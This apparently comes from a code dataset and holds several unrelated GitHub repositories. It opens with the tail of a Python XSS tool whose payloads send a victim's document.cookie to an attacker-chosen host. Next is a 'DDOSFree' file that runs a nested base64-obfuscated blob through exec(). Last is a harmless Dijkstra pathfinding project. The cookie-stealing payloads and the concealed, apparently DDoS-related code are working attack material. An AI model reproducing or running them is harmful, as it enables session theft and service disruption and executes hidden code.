err_payload():\r\n\txss = '''<img src=x onerror=this.src='http://''' + lhost + '''/?cookie='+document.cookie>'''\r\n\tprint('[*] Your payload: ' + xss + '\\n')\r\n\tserve()\r\n\r\ndef img_payload():\r\n\txss = '''<new Image().src='http://''' + lhost + '''/?cookie='+document.cookie>'''\r\n\tprint('[*] Your payload: ' + xss + '\\n')\r\n\tserve()\r\n\r\ndef obs_payload():\r\n xss = obfuscate()\r\n print('[*] Your payload: ' + xss + '\\n')\r\n serve()\r\n\r\ndef main():\r\n\tif args.obfuscated:\r\n\t\tobs_payload()\r\n\telif args.error:\r\n\t\terr_payload()\r\n\telif args.image:\r\n\t\timg_payload()\r\n\telse:\r\n\t\tparser.print_help()\r\n\r\nmain()\r\n" } ]
2
TAI-REx/DDOSFree
https://github.com/TAI-REx/DDOSFree
135334241f46548aabf729cb6cf22782f7901d80
7989bb887fb3f8f5c9afd9899d6fedf320a7b3d4
2f5e72c63f18edbae49666b5dc302269786a8d39
refs/heads/main
2023-06-22T03:47:02.312556
2021-07-16T07:04:43
2021-07-16T07:04:43
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4821428656578064, "alphanum_fraction": 0.545918345451355, "avg_line_length": 31.75, "blob_id": "7d261c94141ee9139ee7084237367b83d4f78b42", "content_id": "05a6e6ded6db8c1e1270830c86bb4ed1c358f4d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 392, "license_type": "no_license", "max_line_length": 51, "num_lines": 12, "path": "/Proddos_enc.py", "repo_name": "TAI-REx/DDOSFree", "src_encoding": "UTF-8", "text": "#-------------------------------------------------#\n# Obfuscate By Mr.GamingThanks To Black Coder Crush\n# github : https://github.com/clayhacker-max\n# from Linux\n# localhost : aarch64\n# key : Asep-fA6bC2eA6tB8lX8\n# date : Fri Jul 16 13:54:16 2021\n#-------------------------------------------------#\n#Compile By DNMODZ\n#My Team : Black Coder Crush\nimport base64\nexec(base64.b64decode(\"I0NvbXBpbGUgQnkgRE5NT0RaCiNNeSBUZWFtIDogQmxhY2sgQ29kZXIgQ3J1c2gKaW1wb3J0IGJhc2U2NApleGVjKGJhc2U2NC5iNjRkZWNvZGUoIkkwTnZiWEJwYkdVZ1Fua2dSRTVOVDBSYUNpTk5lU0JVWldGdElEb2dRbXhoWTJzZ1EyOWtaWElnUTNKMWMyZ0thVzF3YjNKMElHSmhjMlUyTkFwbGVHVmpLR0poYzJVMk5DNWlOalJrWldOdlpHVW9Ja2t3VG5aaVdFSndZa2RWWjFGdWEyZFNSVFZPVkRCU1lVTnBUazVsVTBKVldsZEdkRWxFYjJkUmJYaG9XVEp6WjFFeU9XdGFXRWxuVVROS01XTXlaMHRoVnpGM1lqTktNRWxIU21oak1sVXlUa0Z3YkdWSFZtcExSMHBvWXpKVk1rNUROV2xPYWxKcldsZE9kbHBIVlc5SmEydDNWRzVhYVZkRlNuZFphMlJXV2pGR2RXRXlaRk5TVkZaUFZrUkNVMWxWVG5CVWF6VnNWVEJLVmxkc1pFZGtSV3hGWWpKa1VtSllhRzlYVkVwNldqRkZlVTlYZEdGWFJXeHVWVlJPUzAxWFRYbGFNSFJvVm5wR00xbHFUa3ROUld4SVUyMW9hazFzVlhsVWEwWjNZa2RXU0ZadGNFeFNNSEJ2V1hwS1ZrMXJOVVJPVjJ4UFlXeEtjbGRzWkU5a2JIQklWbGM1U21FeWRETldSelZoWVZaa1JsTnVaRnBoTWxKWFYycEdSMlJYUlhsYVJrNVRWa1phVUZaclVrTlZNV3hXVkc1Q1ZXRjZWbk5XVkVKTFZteGtjMXBGWkd0U1YzaEdXV3BLYTFWdFNsbGhSemxZVmtWd05sZHFSa1psVlRsWVpFZEdXRkpYZUhWV1ZsSlBVekF4V0ZSWWJHRk5TRkp2Vm01d1IwMHhiSEZVYTNST1VsZDRTVlV5TVc5aGF6RnpWbGhzVldFd1dqTlphMlJYVTBaYWRHTkZlRk5OU0VKMlYxaHdTMVpyTVhKT1ZWSlBWako0VUZsWGVFdGpiR1J6V2tVNWEySklRa2xXYkdNMVUyMUZlV1JFVGxkU2VsWm9XVlphYTFKc1RuVmFSbkJvVFd4S1dGWXljRWRTTWxKWVVsaHNZVkpyTlZSV2ExcGhWVVphY2xWclRsWk5WM2hYVmtjMVExWlhSalpXYms1WFZrVktURlp0ZUd0ak1YQkdXa2QwVTFZemFFZFhWM0JMWVRGV2RGTnNiR2hTZW14WlZtdFdkMDVzWkhGU2ExcHNWbFJzV1ZwRlpFZFhSa3BZWlVoV1YxWnNTbEJWZWtGNFYwWlNXV0pIUms1VFJrcDJWbTAxZDFJd01IaGlTRVpWWVROU1QxVnNaRFJUVmxWNVRWYzVhR0Y2Um5wV2JHaHpWbGRGZDFkcVRscGhNbEpZVlRCYVlXUkhUa1psUms1T1UwVktNbFl4YUhkVE1WcHlUVmhLVDFaV1NsQldha28wVlVac1dHVkZkR3BpUjFKNlYydFZOV0V5U2tsUmEyeFhZa2ROTVZVeU1VdFdiR1J6WWtaV1YySlhhSGxYVmxwV1pESlJlVk5ZY0dGU2JFcFlWbXBLYjFWV1draGxSM1JWVFVSQ00xUldWbUZoTVVsNVlVWm9ZVll6VW1GYVYzaHJWMGRPUms5V1VrNVNSVnBJVjFkMFYySXhWa2RhUld4U1lURndXRlp0TVc5U1JuQkZVbTVPYWsxcldrZFdSekV3WVZaYVZWWllhRmRpUm5CeVdWUktSbVZHVGxsaVIzaFRVbFZ3V2xkWGRGZFdNREI0Vm1wYVZHRXlVbGxWYkZKSFYyeGtjbHBJVGxWaGVrWkpWREZTVDFack1WZFhibHBYVWtWd1ZGbDZTa1psYlVwSVpFWk9UazF0YURWV2JGcGhWVEZGZUZWclpHbFNiVkpoVkZSS2IyTnNVbGhrU0U1UFlrWldOVmt3Vms5V1IwcEdUbFZrV2sxSFRURldNakZMVmxaS2MxVnRSbE5sYTFwTlZteGtlbVZHU25SVmExcHFVbFJXVkZacldsZE9WbHB4VTJwQ2FFMVdjSHBaYWs1dlYwZEZlV0ZJUWxaTlJuQk1XVlZhWVZZeFZuSlViRlpUWWxaSmQxWkhlRmROUjBWNVUyeGFhbEpzV2xkV2JuQkdaREZaZVdWSGRGTk5WVFV4VmtjeFIxVXhXWGhUYWxwWVlURmFhRnBFUm1GU01VcDFWbXhLYVZZemFGcFdWM2hYWkcxV1YxcEdWbFJXUlZwWFdXdGpOVTVHYTNkV2JUbFdUV3RhZVZVeU1XOVdNREZIWTBWNFlWSkZXbnBaZWtaM1VqRmtjMVp0YUU1U1JsWXpWbXRrTkdJeGJGaFNXR3hYWWtad1ZGWnJXbUZXVmxweldrWk9WMUp0ZUZkWGExcFBWa1pLYzJOSWFGWldla1oyVm1wS1YyTnNaSFZqUm1SVFZqQTBlbFpHV210Vk1sSkhWbTVHVjJKVldrOVVWVlozVWpGYWMxZHRPVkpOYkVwNldXdG9SMVpYU2toVmJrNVhZa2RSTUZWdGVGTldiSEJJWkVkb1YwMUlRbGRYVmxKUFpERmFWMU5xV2xOaWJIQm9WVzV3UjFaR1dYaFhhemxYWVhwV1YxWlhNWE5XTVVwWFlqTndWMDFYVGpOVVZscGFaREF4VmxwSGNGTmlSWEJVVm0xMGEwNUdUWGhXYmxacVVtMVNUMWxyYUVOVGJHeFpZMFZrYUUxVmJETldNbmh6VmxkS1IxTnJhRnBXUlZwTFdsVmFZV05yT1ZkVGF6Vm9ZVEZ3VmxZeFdsZGhNVmw0VjJ0a1UySkdXbkJWYkdoRFZrWndXR1ZHY0d4V2JWSjVXVlZvUzFSc1dYZFdhbEphWVRGd2VsbFZWWGhTVmxweVZteHdhVkpyY0VsV1JtUTBZekpTUms1V1pGVmlWM2hQVldwT2IxSXhXa2RXYlhSb1RXdGFXVlV5ZUZkaFJUQjZVV3hhVm1KdVFrUlVhMXAzVTBVeFZtUkhkRmRpUm05M1ZrUkdWMVl4V25OYVJWcFRWMGRvV0ZSWE5XOWpiRlp4VTJ4a1YySlZjRWRXYlhNeFZUQXhjMU51WkZoV00yaFVXVEl4VjJNeFZuSmhSVGxZVWxSV2QxWlhNSGhPUm1SelZsaG9WMVpGV2xSVmJUVkNUV3hXV0dSRVVsZFNiVkpKV2xWVk5WZHNXWHBWYm5CVllrWndWRll3WkU5U2JVNUlaVVprVjFKV2J6QldiRkpIWWpKTmVGVnVVbE5pYTNCd1ZXdGFZVlpzV25OVmJHUlRWbTE0TUZremNFZFViVXBJVld4YVZrMXFWak5YVmxWNFZteE9jMVpzV2xkbGJGbDZWMVphVm1WSFRuSk9WbXhwVW0xb2NGVnFTbTlXUm1SeVYyMTBWV0pXV2xkVU1WcHZZV3hKZVdGRk9WcGhNWEI2VkZSR1YwNXNSblJQVmxaT1lrVndObGRXVWs5ak1rVjRVMWh3YUZORmNGZFdNR2hEVjBaV1ZWSnNaR3RTTVVreVZtMTRVMkZXU25KalJGWlhZbFJGTUZacVJsTldNVXBaV2taU2FHSklRbWhYVm1Rd1pERldSMkV6Ykd4VFIxSlpWbTE0WVZkc1duUmxSMFpWWWtWd1NWcFZWbUZXTVdSSlVXdGtWV0pHY0V4V2FrWlBWMWRHUjFWdGFFNVRSVXBZVm0xNFUxTXdNVWRWV0doVFYwZDRUMVpzYUZOVlJscHhVbXQwVkZac2NEQlViR2hyVmtkS1JtTkZXbFpXZWtGNFZqSnplR05XU25KaFIwWlRZa2hCZWxaVVFsWk9WbVJYVm01S1RsWXllRlJWYWs1U1RVWlplRlZyY0d4U2EydzFWbGQ0YTJGc1NsaGhSa1pYVFVad1RGWkdXbGRqYkZwelYyMTBUbFpyV1RCV2JHUXdVekpHYzFOc1pGUmlSVFZoV1ZkMGQwMHhWWGxOVm1SWFlYcEdXbFZ0ZUZOWFJrbDZZVVpDV0ZadFVYZFpla0V4VmpGV2MyRkhjRk5YUlVwNlZtMTRVMUl5VmtkV2JrcFlZVEpTY2xscldrdGxWbHBJVGxaT1ZsSnRVa3BWVjNNeFYyMUtXVlJZWkZWV2JIQjZWRzE0VTJNeFVuUmlSazVPVTBWS1YxWnFTbmRUTWsxNFdraEtUbGRHV205Vk1GVXhWMVphZEUxWE9WUk5WM2hZVm0xd1ExWnRSalpTYTJSaFVsZFNlbFpIYzNoU1ZrcFpZVVpvV0ZORlNsRlhXSEJMVmpKU1IxWnVTbWhTYlZKd1dXdFdkMVJzV2xkVmEwNXJUV3hLU0ZscldtdFpWa2w2Vlc1R1ZWWnRhRVJXTW5oaFZqRndTR1JHV2s1V1dFSlpWbFJLZDFNeFpISk5TR3hzVWxaS1YxWnVjRWRXUmxWNFYyeGthMUl3V2toWk1GVXhZVmRHTmxacVRsZFhTRUpJVlcweFVtVkdVbGxpUmxab1RXNW9WbGRYTVRCVE1rNUhZa2hTYkZKWFVsWlVWbFpYVGxaU2MxWnJPV2xTYkd3elZqSjRjMVpYU2tkVGExSldUVzVvUjFwRVNrOVNiRkowVW14T2FWWXlhRlpXTVdSM1V6Rk9kRlp1VGxWaVIyaG9WV3hvUTFVeFVsWldiRnBzVm14V05GWnRlR3RXYXpGWFVtcE9XbUV4V21oV1IzaGhZMnhPYzFWc1dtbFdSVVY0VjFSQ1lWTXhTWGhUYmxaaFVqTlNUMWxZY0Zaa01XUllaRWM1VjAxclZqUlZiR2hyVlRKS2NsTnNhRlZXYlZKUFZGWmFVMVl4V25WVWJFNU9WbXh3TkZaWE1UUmtNa1pYVjI1T1dHSnNXbGhWYTFaM1pXeFdWVkpyZEZkTlZsb3hWVmQ0UzJGSFZuTlhiR1JYVW14YWFGVjZTa2RTTVZKellVWndUazFzU2xaV1JtUjZUVlpPYzFaWWJFOVdWVFZ2Vm1wQ2QyVnNWblJOUkVaWFVteHNObFpYTVc5WGJGcFhZMGhzWVZac2NHaGFSV1JMVTBkS1JrNVhhR2xYUjJONFZteFNSMVl4VlhsVldHaFlZVEpTY0ZWdE1XOVdNVnB4VTJ4T1YwMVdTbGRXYlRWUFlWZEtSazVXYkZoV1JUVnlWbXRWZUdOck5WWmpSbHBPWVd4YVJWZFdXbXRUTWsxNFUyNUtVRlpyY0U5WlYzUmhUbXhrY2xWclRtcE5WWEJYVkZaV2IxbFdTWHBSYmtKWFlrWndlbFJ0ZUZwa01WWnlaRWR3VG1KRmNGcFdhMlF3WXpGWmVWSnVTbFJoZWtaWFZtdFdTMDB4VmpaU2JVWlhZa1pLZVZaSGVHdFdNa3BaWVVkR1YxWkZiRE5VVmxwelZqRndSbHBHVG1sV1JscFhWa1pqZUU1R1JYaGlSbVJYWVd0S1YxbFljRWRTTVhCR1draGtWazFzV2pCYVNIQkhWMGRGZUZkc1FsWldNMDB4Vm0weFMxSnRSa2hpUmxKVFlraENORlpzVWtOWlZtUjBWVmhvVlZkSFVsWlpWRTVUVmpGYWNWRnVUazlpUmxZMVdUQldUMVpIU2taV2FrNVdZbFJCZUZacldtRldhelZXVkd4b2FHRXdjRFpXVjNoclUyMVdWMk5GV21wU01taFlWRlJHUzFWV1dsZFZhM1JvWWxaR05GWkdhSE5XUm1SSlVXeGFWMDFHY0doWk1WcFRWbFpPY1ZWck9XbFRSVXBJVmpKMFlXRXlSWGhUYkd4V1lURmFWMVJYY0VkTk1XeFhWMnR3YkZKdFVqQlVNVnAzVkcxS1dXRkZlRmhXUlVwWVZsUkdWMlJHVW5KaVJtaHBWMFZLZWxadGRHRlhhekZ6V2toT1dHSlViRlpVVlZKSFUwWnJkMWR0T1ZWaVJXOHlXV3RXTUZkdFNrZGpSRTVoVWtWYWNsa3hXazlqVmxaMFlrWk9UbFpZUWtkV2JGcHJUVVpOZVZKWWFGVmhNbEpWV1d4U2MxZFdXbkpXYm1SUFlrZFNlRlZ0ZUdGaVIwcEhWMnBDV2xaWFVqTlpWbVJMVW0xT1JWUnNhRmRsYTBrd1YxWmplRkl4V25SVmEyUlVZWHBXVkZZd1drdGxSbHBWVVd4a2EwMXNSalJaYTJoVFZERmFjbU5IYUZWV1YxRXdXbGQ0YzA1c1RuUmtSbEpwVWxaWmVsWlhNSGROVmxwSFYyeGFUMVpWTlZsWlYzUkxaV3hXY2xkclpGaFNia0pIV1RCYVMxUnNTbGRqUkVaWFZrVmFXRlpFUmtkak1rbDZXa2RzVTFacmNGUldiWEJMVlRGTmVGWnVVbXBTVlRWd1dXdGFTMVl4V2tobFIwWmFWbFJHU1ZwVmFGZFdWbHBYVjFoa1dsWkZXa3RhVm1SWFVsWkdjMkZIYkZOV1JVa3dWako0YW1WR1RYaFVhMlJZWW14S2MxVnFUa05WTVZKWVRWVTVUMUpzV1RKVmJYUmhZVEF4VmsxVVZsZFNNMUo2Vm10a1MyTnNUblZSYkhCcFYwZG9TVmRYTVRSVU1XUklWbXRzYWxKclNsaFpWRUozVmpGYVIxWnNUbXBOVmxwWVZteG9hMVV5U2xWV2JGWlhZa1pWZUZWVVJtdGpWa1oxVkd4T1UyRXhjRnBXTW5SWFpERldjazFWV2xoaWJGcFhWRlphWVZWR1ZsaGxTRnByVFd0d1IxZHJWVEZWTURGelUyeENXRlp0VVRCV2FrcE9aVVpTYzJGR2NFNU5iRXBXVmtaa05GTXhUbGRpU0Vwb1VtczFZVlp0ZUZwTmJGcDBZMGRHV0dKVlZqVldWM2h2VjIxRmVWVnNRbFpoTVhBelZHMTRTMk50VmtkWGJHUlRWbGhDVDFacVJsTlJNa2w0VkZoc1ZXRXlhRlZaYlhoaFZqRmFjVk5zVGxSTlYzaDVXVlZWTVZReFduTlhhMmhYVm0xb2NsWlZXbUZqYkU1elYyeFdWMVpyY0RaV2JGcGhXVlpLVjFKc1ZsZGlSa3BZVm14U1YxSkdXWGxqUlU1cVRWVndTRlZ0ZUc5WlZrcFpVV3hPVlZaV1dtaGFSbHBXWlVaYWMyTkhkRTVXZW10NlZrZDRZVll4Vm5OWFdIQm9VbGhTV1ZsdE5VTlNSbHBHVjI1a1UySklRa3BXUnpFd1ZUSktjbE5zV2xkU00yaDJXa1JLUjFZeFRsbGhSbWhwWVhwV2FGWkdWbFpOVjFKWFZXeGtWMkZyU2xkWldIQkhVakZ3UmxwSVpGZFNhM0JhVlZkd1QxZEdXalpSV0doWFZqTm9NbHBFU2t0VFZsSjBZMGQ0YVZkSGFGUldiVEV3VlRGR2NrNVdaRmRoTWxKWFZqQmtVMVZXV25Sa1JYUlhZa1pLVjFaWE5VOVdiRnB6WTBWYVZsWnNTbGhXYlhoTFl6RktjVlJzYUdoaE1IQTJWbGQwWVZJeFpFZGpSVnBxVW1zMWIxbFVRbmROVmxweVdYcEdhMDFXY0RCVk1uUmhZVlpLTmxack9WWmlSMmhVV1RKNFYyTldUbkZWYXpWVFlsWktObFpyV2xOU01rcElVMnhhYWxKWGVGaFpiRkpHVFVac1dHVkZXbXhXYlhRMldWVmFVMVJzV2xkWFdIQlhWMGhDVEZaRVJrOVdNVkoxVm14S2FWWXphSGRYVjNSWFdWZFNWMVpZYUdGU1JrcHpXVmh3YzFkR1ZsaGxSbVJWWWtWd1NWcFZXa3RXTWtWNFUydE9WV0pHY0ZoVmFrWlhWMVp3UjFGc1pHaE5TRUpZVm10YVYxVXlUWGhXYkdSWVlURmFVMVpyV21GV01WWjBaVVZrVGsxV1JqUldNblJQVmpBeFJWSnJiRmhoTVZWNFZtcEdTMVpzWkZsalJscE9ZbTFvVVZaVVNqUlZNazV6Vlc1V1YySkdjSEJaVkVKM1pERmFkR05GWkZkTlJFWllXV3RTWVZaSFJuTlRia0pXWWxSV1JGWXllRmRXTVd3MlZteFdhVlpzY0ZwWGExWldUbFpXY2sxWVJsZGlSVXBoV1ZSS1UxUkdjRWRYYkdSWVVtNUNTRlZ0ZUdGVWJFcFhZa1JhVjFZelVtaFZha3BTWkRBeFNXSkdUbWhOYldoM1ZsUkNWazFYUmtkWGJGWlNZVE5TV0ZsclpEQk9WbEp6VjIxMGFGWnJjRlpaYTJoWFZsWmFWMWRZWkZaTmJtaEhXa1JHUzJSRk5WZFZiR1JYVmtaYVJsWXllR3BsUms1MFZteGtWbUpzV2xWWldIQkhZMFpzV1dOR1pHeGlSMUpaVkZWb2IxWnJNVVZTYTJ4V1RXNUNXRmxWV2twbFYxWkpWR3hrVGxKdVFrMVhXSEJIWTIxV2RGTnJWbFZpVlZwUFZUQmFTMU5zWkZoa1J6bG9UVlpLV0ZaSGRHRldSMFp5WTBkR1ZWWXpRbGhXVkVaeVpERmFjVkZzV21obGExcElWMnRXVjJReFZuSk5WVnBZWW14YVYxUldXbUZWUmxaVlUyeGthazFyTlVoWlZWVTFWakZLVm1ORmVGZFdNMUpVVlZSS1MyTXlTa1ZYYkZKcFVqRktlVlp0Y0VkVE1VcFhWbXhrYUZKWVVsVlphMVozVWpGYWRHTjZWbFpoZWtZd1dsVldUMWRIUm5KVGJuQldZVEZ3U0ZZd1duZFRSMDVIVkcxNGFWZEhUalJXYWtvd1ZqRlJlRkp1U2xCV2JIQndWV3hrTkZVeGJIUmxTR1JxVm0xNE1GcFZWbXRoVjBwR1RWUmFXbUV4V2t4WmExcExWakZPYzFSc2NHaGhNMEo1VmxSS05GSnRVWGhUYmxKUFZteEtXRlpxU205U1ZtUnpWMjEwVTAxWFVrZFViRnBYVlcxRmVsRnNUbFZXVjJoRVZtMTRXbVZYVmtoalJUVlhWa1ZhU0ZkWGRGZFZNVmw1VTI1V1VtRXpVbGRVVlZwaFZFWnNjVkp0ZEZkV2F6VjRWVmN4YzFVd01WWmpSVnBYVm0xU00xVlVTa2RYUmxwelYyeE9hV0Y2Vm1oV1JsSkxUa1pLUjFWc1dtRlNWMUpWVm0xek1VMVdXWGxOVkVKWFRVUkdlbFV5Y0V0WFIwVjRWMnhDVmxaRmNGTmFWbHBQVjFkT1IxVnRhR2hOU0VKVFZqRmFZVmxXYkZaT1dFNVZZa2RvY0ZWdGVIZGpSbEpZWXpOb1QxWnNjREJVYkZwcllVVXhWbFpxV2xwV1YyaHlWakp6ZUZKck5VVlJiVVpUVWxoQ1RGZHNaRFJVTWs1WFVtNUtiRkpzY0ZoVmJGWjNWR3hhVlZKc1pGVk5WVnA2V1dwT2EyRldTbGRUYkU1YVlsaFNURmxWV25OV01WcHlaRVUxVGxZemFEUldhMlF3VFVaU2MxTnNhR3hTVm5CV1ZteGFTMlZzVlhsbFJYUlRUV3RXTmxsVldsZGhWa3B5WTBaQ1YxSnNXbGRVYkdSTFkyc3hWbGR0ZEZOWFJVcFVWa1pXVjFsWFVsZFdXR2hYWVhwc1UxbHJZelZOTVd4eVZtNU9WbUpWY0hwWk1HaEhWMjFLV1dGRmFGcGlXR2hZVldwR1UyTnNUblJsUmtwT1VqTm5lbFpZY0VkU2F6bFhVV3hTVkZkRlNrMVdWbEYzVDFWc2NHRXpRV2xMVTJzOUlpa3AiKSk=\"))" } ]
1
Andre-Gilbert/Dijkstra-Shortest-Path
https://github.com/Andre-Gilbert/Dijkstra-Shortest-Path
6215c5e5de6e5467d2f88ef0db185501c768c5c8
0f65ed9f6f5a094645fe17fb5beab1651e3d795a
00e59e45c087dfda2231addad433b433f0bdd40c
refs/heads/master
2023-05-17T05:37:35.034031
2022-09-22T12:15:41
2022-09-22T12:15:41
368,873,769
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5841584205627441, "alphanum_fraction": 0.6089109182357788, "avg_line_length": 17.363636016845703, "blob_id": "c99cc3d81f22c5d034c1304e1f0a43da3a4a70c7", "content_id": "fb144b2a92135b714aa443862257491f44110b53", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 202, "license_type": "permissive", "max_line_length": 36, "num_lines": 11, "path": "/src/pathfinding_visualizer/main.py", "repo_name": "Andre-Gilbert/Dijkstra-Shortest-Path", "src_encoding": "UTF-8", "text": "\"\"\"Runs the pathfinding visualizer.\n\nTypical usage example:\n window = GUI(rows=50, width=700)\n window.run()\n\"\"\"\nfrom gui import GUI\n\nif __name__ == '__main__':\n window = GUI()\n window.run()\n" }, { "alpha_fraction": 0.5704402327537537, "alphanum_fraction": 0.5905660390853882, "avg_line_length": 28.71962547302246, "blob_id": "8b2ca37321bb8c060a8b9d56240f6ded72ed8734", "content_id": "fc8b3021de7f2c00c0eee5ca8680536c860a6102", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3180, "license_type": "permissive", "max_line_length": 120, "num_lines": 107, "path": "/src/pathfinding_visualizer/utils.py", "repo_name": "Andre-Gilbert/Dijkstra-Shortest-Path", "src_encoding": "UTF-8", "text": "\"\"\"Pathfinding visualizer utils.\"\"\"\nfrom __future__ import annotations\nfrom enum import Enum, auto\nfrom queue import deque\n\n\nclass Algorithms(Enum):\n DIJKTRA = auto()\n A_STAR_SEARCH = auto()\n BIDIRECTIONAL_SEARCH = auto()\n BREADTH_FIRST_SEARCH = auto()\n DEPTH_FIRST_SEARCH = auto()\n\n\nclass Colors:\n RED = (255, 0, 0)\n WHITE = (255, 255, 255)\n BLACK = (12, 53, 71)\n YELLOW = (255, 254, 106)\n GREEN = (50, 205, 50)\n BLUE = (0, 190, 218, 0.75)\n LIGHT_BLUE = (175, 216, 248)\n\n\nclass Path:\n \"\"\"Helper class for reconstructing paths.\"\"\"\n\n @staticmethod\n def reconstruct(\n gui: object,\n grid: list[list[object]],\n came_from: dict[object, object],\n destination: object,\n ) -> None:\n \"\"\"Reconstructs the shortest path.\"\"\"\n current = destination\n while current in came_from:\n current = came_from[current]\n current.make_path()\n gui.draw(grid)\n\n @staticmethod\n def reconstruct_bidirectional(\n gui: object,\n grid: list[list[object]],\n came_from_src: dict[object, object],\n came_from_dst: dict[object, object],\n intersection: object,\n ) -> None:\n \"\"\"Reconstructs the shortest path.\"\"\"\n intersection.make_path()\n current_src = intersection\n current_dst = intersection\n while current_src in came_from_src or current_dst in came_from_dst:\n if current_src in came_from_src:\n current_src = came_from_src[current_src]\n current_src.make_path()\n if current_dst in came_from_dst:\n current_dst = came_from_dst[current_dst]\n current_dst.make_path()\n \n gui.draw(grid)\n\n\nclass AStarSearch:\n \"\"\"Helper class for visualizing A* search.\"\"\"\n\n @staticmethod\n def manhatten_distance(current: object, destination: object) -> int:\n \"\"\"Computes the manhatten distance to the destination.\"\"\"\n x1, y1 = current.get_position()\n x2, y2 = destination.get_position()\n return abs(x1 - x2) + abs(y1 - y2)\n\n\nclass BidirectionalSearch:\n \"\"\"Helper class for visualizing bidirectional search.\"\"\"\n\n @staticmethod\n def bfs(\n gui: object,\n grid: list[list[object]],\n goal: object,\n queue: deque[object],\n visited: set[object],\n came_from: dict[object, object],\n ) -> None:\n \"\"\"Runs breadth-first search.\"\"\"\n current = queue.popleft()\n visited.add(current)\n\n for neighbor in current.neighbors:\n if neighbor not in visited:\n visited.add(neighbor)\n came_from[neighbor] = current\n queue.append(neighbor)\n\n if current != goal:\n current.make_visited()\n\n gui.draw(grid)\n\n @staticmethod\n def is_intersecting(visited_src: set[object], visited_dst: set[object]) -> set[object] | int:\n \"\"\"Checks if the visited vertices starting at start intersects with visited vertices starting at destination.\"\"\"\n intersection = visited_src.intersection(visited_dst)\n return intersection if intersection else -1\n" }, { "alpha_fraction": 0.6249757409095764, "alphanum_fraction": 0.6267236471176147, "avg_line_length": 30.588956832885742, "blob_id": "37d3c3b4c0ccb5bd83efb986dd1d6844285e9774", "content_id": "97f89c41a2c8b0306e52bd1b755848e53d6bfae5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5149, "license_type": "permissive", "max_line_length": 105, "num_lines": 163, "path": "/src/dijkstra/algorithms.py", "repo_name": "Andre-Gilbert/Dijkstra-Shortest-Path", "src_encoding": "UTF-8", "text": "\"\"\"Contains the different variations of Dijktra's Algorithm.\n\nIt supports a lazy and an eager version of dijkstra's shortest path.\nBefore you run the algorithms, you need to create a graph, and pass\nthe graph as an argument.\n\nLazy implementation:\n Rather than updating existing key's value in O(n), the lazy version\n inserts key-value pairs in O(log(n)) even if they already exist in our\n priority queue.\n\nEager implementation:\n The eager version avoids inserting duplicate key-value pairs.\n\"\"\"\nfrom heapq import heappop, heappush\nfrom queue import PriorityQueue\nfrom data_structures import Edge, Graph, Vertex\n\n\ndef dijkstra_lazy(graph: Graph, start: Vertex, destination: Vertex) -> None:\n \"\"\"Dijktra's shortest path with priority queue.\n\n Args:\n graph: A graph with edges and vertices.\n start: The start vertex.\n destination: The destination vertex.\n \"\"\"\n queue = PriorityQueue()\n queue.put((0, start))\n came_from = {}\n\n costs = dict.fromkeys(graph.vertices, float('inf'))\n costs[start] = 0\n\n while not queue.empty():\n current = queue.get()[1]\n\n # Destinaton reached\n if current == destination:\n reconstruct_path(came_from, destination, costs)\n return\n\n current.visited = True\n\n # Check all neighbors\n for edge in current.adjacent_edges:\n if edge.destination.visited: continue\n new_cost = costs[current] + edge.cost\n\n if new_cost < costs[edge.destination]:\n came_from[edge.destination] = current\n costs[edge.destination] = new_cost\n queue.put((costs[edge.destination], edge.destination))\n\n print(f'No path from {start.name} to {destination.name} was found.')\n\n\ndef dijkstra_eager(graph: Graph, start: Vertex, destination: Vertex) -> None:\n \"\"\"Dijktra's shortest path with heapqueue.\n\n Args:\n graph: A graph with edges and vertices.\n start: The start vertex.\n destination: The destination vertex.\n \"\"\"\n heap = [(0, start)]\n heap_vertices = set()\n came_from = {}\n\n costs = dict.fromkeys(graph.vertices, float('inf'))\n costs[start] = 0\n\n while heap:\n min_value, current = heappop(heap)\n\n # Destinaton reached\n if current == destination:\n reconstruct_path(came_from, destination, costs)\n return\n\n current.visited = True\n\n if costs[current] < min_value: continue\n\n # Check all neighbors\n for edge in current.adjacent_edges:\n if edge.destination.visited: continue\n new_cost = costs[current] + edge.cost\n current_cost = costs[edge.destination]\n\n if new_cost < current_cost:\n came_from[edge.destination] = current\n costs[edge.destination] = new_cost\n\n if edge.destination not in heap_vertices:\n heap_vertices.add(edge.destination)\n heappush(heap, (costs[edge.destination], edge.destination))\n else:\n decrease_key(heap, edge, costs[edge.destination], current_cost)\n\n print(f'No path from {start.name} to {destination.name} was found.')\n\n\ndef decrease_key(heap: list[tuple[int, Vertex]], edge: Edge, new_cost: int, current_cost: int) -> None:\n \"\"\"Decrease a value of a vertex given a edge.\n\n Since the heapq module doesn't support a decrease key method\n with O(1) lookup, we iterate over the heap in O(V) as a workaround.\n\n Args:\n heap: An array of tuples containing the cost and vertex.\n edge: The current edge we're considering.\n new_cost: The new distance from vertex A to vertex B.\n current_cost: The current distance from vertex A to vertex B.\n \"\"\"\n for i in range(len(heap)):\n if heap[i] == (current_cost, edge.destination):\n heap[i] = (new_cost, edge.destination)\n break\n\n swim(heap, 0, i)\n\n\ndef swim(heap: list[tuple[int, Vertex]], start_position: int, position: int) -> None:\n \"\"\"Restore the heap invariant.\n\n Args:\n heap: An array of tuples containing the cost and vertex.\n start_position: The index of the root.\n position: The index of the updated tuple.\n \"\"\"\n new_item = heap[position]\n\n while position > start_position:\n parent_position = (position - 1) >> 1\n parent = heap[parent_position]\n\n if new_item < parent:\n heap[position] = parent\n position = parent_position\n continue\n\n break\n\n heap[position] = new_item\n\n\ndef reconstruct_path(came_from: dict[Vertex, Vertex], current: Vertex, costs: dict[int, Vertex]) -> None:\n \"\"\"Reconstruct the shortest path.\n\n Args:\n came_from: A dictionary containing the path to the destination.\n current: The current vertex we're considering.\n costs: A dictionary containing all of the costs.\n \"\"\"\n print(f'Distance: {costs[current]}')\n path = current.name\n\n while current in came_from:\n current = came_from[current]\n path = f'{current.name} -> {path}'\n\n print(f'Shortest Path: {path}')\n" }, { "alpha_fraction": 0.5970795154571533, "alphanum_fraction": 0.6003245115280151, "avg_line_length": 32.926605224609375, "blob_id": "a3415ae89678cfcd2d01a0585624b7076417a98f", "content_id": "60d684963614469cb101705cff8153a4396d9755", 